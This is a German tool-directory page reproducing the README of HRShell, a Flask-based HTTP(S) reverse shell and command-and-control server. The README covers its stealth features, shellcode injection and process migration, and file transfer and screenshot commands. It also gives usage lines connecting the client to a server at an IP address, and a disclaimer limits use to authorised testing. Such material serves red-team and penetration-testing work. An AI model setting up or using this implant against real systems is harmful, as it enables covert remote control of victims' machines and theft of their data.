Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
HRShell — HRShell ist eine HTTPS/HTTP-Reverse-Shell, die mit flask erstellt wurde. Es ist ein fortschrittlicher C2-Server mit vielen Features & Fähigkeiten. | Kitploit
Tools/GitHubGitHub/chrispetrou/hrshell
Verschlüsselungs-/EntschlüsselungstoolsExploitationReverse EngineeringShellcodePost-ExploitationWebsicherheitPenetrationstestsCommand and ControlRed TeamingPayload-EntwicklungArchived
GitHub
248698vor 5 JahrenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
chrispetrou/hrshell

HRShell

HRShell ist eine HTTPS/HTTP-Reverse-Shell, die mit flask erstellt wurde. Es ist ein fortschrittlicher C2-Server mit vielen Features & Fähigkeiten.

Repository anzeigen
HRShell: Eine erweiterte HTTP(S)-Reverse-Shell, erstellt mit Flask

GPLv3 license version Known Vulnerabilities



HRShell ist eine HTTPS/HTTP-Reverse-Shell, die mit Flask erstellt wurde und mit Python 3.x kompatibel ist. Der client.py wurde erfolgreich getestet auf:

  • Linux Ubuntu 18.04 LTS, Kali Linux 2019.3
  • macOS Mojave/Catalina
  • Windows 7/10

während der server.py mit Unix-Systemen kompatibel ist (Windows-Support in Kürze verfügbar...)

Funktionen

  • Es ist unauffällig
  • TLS-Unterstützung 🔑
    • Entweder unter Verwendung von On-the-Fly-Zertifikaten oder
    • Durch Angabe eines Zertifikat/Schlüssel-Paares (mehr Details unten...)
  • Shellcode-Injektion 💉 (mehr Details unten...)
    • Entweder Shellcode-Injektion in einen Thread/erzeugten Prozess des aktuell laufenden Prozesses
      • Bisher unterstützte Plattformen:
        • Windows x86
        • Unix x86
        • Unix x64
    • oder Shellcode-Injektion in einen anderen Prozess (migrate <PID>) durch Angabe seiner PID
      • Bisher unterstützte Plattformen:
        • Windows x86
        • Windows x64
  • Shellcode kann spontan vom Server gesetzt/geändert werden (mehr Details unten...)
  • Proxy-Unterstützung auf dem Client.
  • Verzeichnisnavigation (cd-Befehl und Varianten).
  • Interaktiver history-Befehl auf Unix-Systemen verfügbar.
  • download/upload/screenshot/hex-Befehle verfügbar.
  • Pipelining (|) und verkettete Befehle (;) werden unterstützt
  • Unterstützung für jeden nicht-interaktiven Befehl (wie gdb, top usw...)
  • Der Server ist sowohl HTTP- als auch HTTPS-fähig.
  • Es wird mit zwei integrierten Servern 🌐 geliefert... flask built-in & tornado-WSGI, während es auch mit anderen Produktionsservern wie und kompatibel ist.

*Für Versionsänderungen siehe CHANGELOG.

Details


Unauffällig :shipit:

HRShell ist unauffällig, da es das HTTP(S)-Protokoll als Kommunikationsmethode zwischen Client und Server verwendet. Zusätzlich wird der Datenverkehr bei Verwendung von TLS verschlüsselt. Wenn das ZERTIFIKAT nicht clientseitig fest codiert ist (was eine praktikable Option ist) und der upload-Befehl nicht verwendet wird, dann berührt client.py die Festplatte überhaupt nicht.

TLS 🔑

Serverseitig: Sofern nicht die Option --http angegeben wird, verwendet server.py standardmäßig HTTPS mit On-the-Fly-Zertifikaten, da On-the-Fly-Zertifikate eine integrierte Flask-Funktion sind. Wenn jedoch die Option -s tornado angegeben wird, um den Server zur Nutzung von TLS zu zwingen, müssen die Optionen --cert und --key wie folgt angegeben werden:

root@kitploit:~
python server.py -s tornado --cert /path/cert.pem --key /path/key.pem

Es können entweder "echte" Zertifikate verwendet werden, oder eine andere Möglichkeit, ein Zertifikat/Schlüssel-Paar zu generieren, ist z.B. die Verwendung von mkcert oder direkt openssl wie folgt:

root@kitploit:~
openssl req -x509 -newkey rsa:4096 -nodes -out cert.pem -keyout key.pem -days 365

Ein Zertifikat/Schlüssel-Paar kann auch mit dem Flask-Server verwendet werden:

root@kitploit:~
python server.py --cert /path/cert.pem --key /path/key.pem

⚠️ Wenn der Server TLS verwendet, kann der Client konstruktionsbedingt nicht http://... verwenden, um eine Verbindung zum Server herzustellen, sondern muss stattdessen explizit https verwenden.

Clientseitig: Standardmäßig ist die SSL-Verifizierung des Clients deaktiviert, es sei denn:

  • entweder wird der Parameter --cert angegeben, z.B.:
    root@kitploit:~
    python client.py -s https://192.168.10.7:5000 --cert /path/cert.pem
    
  • oder die Variable CERT wird, anstatt des Standardwerts None, vorher mit einem gültigen Zertifikat gesetzt, z.B.:
    root@kitploit:~
    CERT = """
    -----BEGIN CERTIFICATE-----
    MIIBoDCCAUoCAQAwDQYJKoZIhvcNAQEEBQAwYzELMAkGA1UEBhMCQVUxEzARBgNV
    BAgTClF1ZWVuc2xhbmQxGjAYBgNVBAoTEUNyeXB0U29mdCBQdHkgTHRkMSMwIQYD
    VQQDExpTZXJ2ZXIgdGVzdCBjZXJ0ICg1MTIgYml0KTAeFw05NzA5MDkwMzQxMjZa
    ...
    -----END CERTIFICATE-----
    """
    
    In diesem Fall wird client.py versuchen, spontan eine versteckte .cert.pem-Datei zu erstellen und diese stattdessen verwenden.

⚠️ Dass die SSL-Verifizierung standardmäßig auf dem Client deaktiviert ist, bedeutet keinesfalls, dass auch TLS deaktiviert ist. TLS wird aktiviert, wenn der Server es verwendet – TLS hängt also vollständig vom Server ab. Die Option --cert auf dem Client dient lediglich als alternative Möglichkeit, dass Server und Client eine verschlüsselte Sitzung haben, und das ist alles.

Shellcode-Injektion 💉

Es gibt zwei "Modi" der Shellcode-Injektion, die mit den folgenden beiden Befehlen durchgeführt werden:

  1. migrate <PID>: Mit diesem Befehl können wir Shellcode in den Speicherbereich eines anderen Prozesses injizieren, indem wir seine PID angeben. Derzeit kann dieser Befehl nur auf Windows x86/x64-Plattformen angewendet werden!
  1. inject shellcode: Mit diesem Befehl wird ein neuer Thread (oder ein erzeugter Prozess auf Unix-Systemen) unseres aktuellen Prozesses erstellt und die Shellcode-Injektion erfolgt in dessen Speicherbereich. Dadurch wird unsere HTTP(S)-Shell nicht von der Injektion beeinträchtigt. Die Plattformen, auf denen dieser Befehl angewendet werden kann, sind: Unix x86/x64, Windows x86-Plattformen!
Anmerkungen
  • Falls die Injektion in einen Prozess erfolgt, spielen die Prozessberechtigungen eine sehr wichtige Rolle. Es ist nicht immer möglich, in jeden Prozess zu injizieren, da geeignete Berechtigungen fehlen.

Shellcode setzen/ändern

Es gibt zwei Möglichkeiten, den Typ des Shellcodes anzugeben/festzulegen, den der Client ausführen soll:

  • Entweder die Variable shellcode im Skript client.py vorher auf einen gültigen Shellcode setzen oder
  • Den Befehl set shellcode <shellcode-id> verwenden, um dies spontan zu tun. Mit diesem Befehl können Sie Ihren Shellcode clientseitig von der Serverseite aus so oft aktualisieren, wie Sie möchten!

Der erste Weg ist ziemlich einfach. Um jedoch den zweiten und bequemeren Weg zu nutzen (da Sie auch einen bereits festgelegten Shellcode ändern können), müssen Sie das Skript shellcodes/utils.py so einrichten, dass es den/die von Ihnen gewählten Shellcode(s) enthält. Das Skript enthält ein Beispiel, wie Sie das tun können.

💡 Sie können das Skript shellcodes/utils.py auch nach dem Start von server.py beliebig oft ändern/aktualisieren, da server.py dynamisch die aktuellste/neueste Version verwendet. Auf diese Weise können Sie Shellcodes spontan setzen und ändern...

Verfügbare Befehle:

Spezielle Befehle:

Jeder andere Befehl wird unterstützt, wenn er nicht interaktiv ist, wie z.B. gdb, top usw... Durch Eingabe von python server.py -h oder python client.py -h erhalten Sie außerdem Informationen über die verfügbaren Argumente des Servers und Clients.

Hinweis: Wenn ein Client mit dem Server verbunden ist und wir den Server beenden möchten, müssen wir vor dem Drücken von STRG+C die Verbindung mit dem Befehl exit schließen.

Erstellen benutzerdefinierter Befehle

Clientseitig:

Um einen benutzerdefinierten Befehl zu erstellen, gilt allgemein:

  • eine Regex-Regel, die den Befehl beschreibt, muss clientseitig definiert werden
  • der Code zur Verarbeitung dieses Befehls muss ebenfalls clientseitig als elif-Anweisung hinzugefügt werden.

Serverseitig:

Wenn der Befehl die Existenz eines neuen Endpunkts auf der Serverseite erfordert, dann:

  • um den Endpunkt zu definieren:
    root@kitploit:~
    @app.route('/custom_endpoint/<arg>')
    def custom_endpoint(arg):
        """
        documentation if needed
        """
        ...
        return ...
    
  • dann bearbeiten Sie handleGET(), um den Client zu diesem Endpunkt umzuleiten:
    root@kitploit:~
    @app.route('/')
    def handleGET():
        ...
        return redirect(url_for('custom_endpoint',
            arg=...)
            )
    
  • nehmen Sie die entsprechenden Änderungen in handlePOST() vor, um die Darstellung der Ergebnisse zu handhaben.

Skript-Argumente

Beide Skripte (server.py und client.py) können über Argumente angepasst werden:

server.py

root@kitploit:~
$ python server.py -h
usage: server.py [-h] [-s] [-c] [--host] [-p] [--http] [--cert] [--key]

server.py: An HTTP(S) reverse-shell server with advanced features.

arguments:
  -h, --help      show this help message and exit
  -s , --server   Specify the HTTP(S) server to use (default: flask).
  -c , --client   Accept connections only from the specified client/IP.
  --host          Specify the IP to use (default: 0.0.0.0).
  -p , --port     Specify a port to use (default: 5000).
  --http          Disable TLS and use HTTP instead.
  --cert          Specify a certificate to use (default: None).
  --key           Specify the corresponding private key to use (default: None).

client.py

root@kitploit:~
$ python client.py -h
usage: client.py [-h] [-s] [-c] [-p]

client.py: An HTTP(S) client with advanced features.

arguments:
  -h, --help      show this help message and exit
  -s , --server   Specify an HTTP(S) server to connect to.
  -c , --cert     Specify a certificate to use.
  -p , --proxy    Specify a proxy to use [form: host:port]

📦 Voraussetzungen:

Um die Server-Voraussetzungen zu installieren:

root@kitploit:~
pip install -r requirements.txt --upgrade --user

📌 Offene Punkte

  • Weitere Befehle und Funktionen hinzufügen.
  • Potenzielle Fehler beheben.

💭 Beiträge & Feedback

Feedback und Beiträge sind willkommen. Wenn Sie einen Fehler finden oder einen Funktionswunsch haben, können Sie gerne ein Issue eröffnen, und sobald ich es überprüft habe, werde ich versuchen, es zu beheben.

Haftungsausschluss

Dieses Tool dient nur zu Test- und Studienzwecken und darf nur verwendet werden, wenn eine ausdrückliche Zustimmung vorliegt. Verwenden Sie es nicht für illegale Zwecke! Es liegt in der Verantwortung des Endbenutzers, alle geltenden lokalen, staatlichen und bundesstaatlichen Gesetze einzuhalten. Die Entwickler übernehmen keine Haftung und sind nicht verantwortlich für Missbrauch oder Schäden, die durch dieses Tool und die Software im Allgemeinen verursacht werden.

Danksagungen & Referenzen

  • Seitz J. Gray Hat Python: Python programming for hackers and reverse engineers. no starch press; 2009 Apr 15.
  • PyShellCode
  • Ein großartiger Artikel gefunden hier.
  • Die hexdump-Funktion des Clients stammt aus diesem großartigen Gist.
  • Das HRShell-Logo wurde mit fontmeme.com erstellt!

Lizenz

Dieses Projekt ist unter der GPLv3-Lizenz lizenziert – siehe die Datei LICENSE für Details.

Tool herunterladen
gunicorn
Nginx
  • Sowohl server.py als auch client.py sind leicht erweiterbar.
  • Da der Großteil der Funktionalität vom Endpunkt-Design des Servers kommt, ist es sehr einfach, einen Client in jeder anderen Sprache zu schreiben, z.B. Java, GO usw...